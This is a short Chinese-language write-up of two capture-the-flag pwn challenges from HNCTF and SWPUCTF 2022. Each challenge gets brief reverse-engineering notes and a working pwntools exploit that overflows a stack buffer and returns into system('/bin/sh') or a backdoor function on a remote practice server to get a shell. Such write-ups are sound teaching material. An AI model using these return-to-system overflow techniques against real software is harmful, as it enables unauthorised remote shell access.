[HNCTF 2022 Week1]ezr0p32
是32位文件
main函数里发现了dofunc双击进入
发现了read这里涉及了典型的栈溢出
发现没有binsh只有system,我们可以把之前找到的buf双击点开
发现bss当做binsh用,这题涉及到了shellcode
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','24025')
bss = 0x804A080
system = 0x80483d0
padding = b'a'*(0x1c+0x4)
io.recvuntil(b'name')
io.sendline(b'/bin/sh')
io.recvuntil(b'time~')
payload = padding + p32(system) + p32(0xbeff) + p32(bss)
io.sendline(payload)
io.interactive()
注意这题的system里没有binsh要我们自己搭建一个binsh框架
[SWPUCTF 2022 新生赛]有手就行的栈溢出
这是一个64位文件
查看main函数发现overflow()双击进入
看到gets就知道这里栈溢出了
发现有system和binsh但是发现这个system有点不太一样是system('/bin/sh')有点奇怪,我们点开看看
发现这是假的后门啊
发现这才是真的后门
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','27278')
padding = b'a'*(0x20+0x8)
door = 0x401257
payload = padding + p64(door)
io.sendline(payload)
io.interactive()